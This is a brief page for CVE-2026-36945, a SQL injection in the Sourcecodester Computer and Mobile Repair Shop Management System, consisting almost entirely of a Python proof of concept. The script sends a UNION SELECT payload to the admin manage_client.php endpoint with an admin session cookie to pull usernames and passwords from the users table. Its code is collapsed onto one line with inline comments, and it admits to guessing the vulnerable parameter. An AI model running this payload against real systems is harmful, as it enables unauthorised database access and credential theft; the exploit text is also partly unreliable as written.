CVE-2026-36945 Repair Shop System SQL注入漏洞

import requests # PoC for CVE-2026-36945 # Target: Sourcecodester Computer and Mobile Repair Shop Management System v1.0 # Endpoint: /rsms/admin/clients/manage_client.php # Note: Requires Admin Authentication (Cookie/Session) target_url = "http://target.com/rsms/admin/clients/manage_client.php" # Replace with a valid admin session cookie cookies = { "PHPSESSID": "valid_admin_session_id" } # Example vulnerable parameter injection # Assuming the endpoint expects an 'id' parameter for managing clients payload = { "id": "1 UNION SELECT NULL, username, password FROM users--" } try: response = requests.post(target_url, data=payload, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Exploit sent successfully!") print("[+] Response:") print(response.text[:500]) # Print first 500 chars of response else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")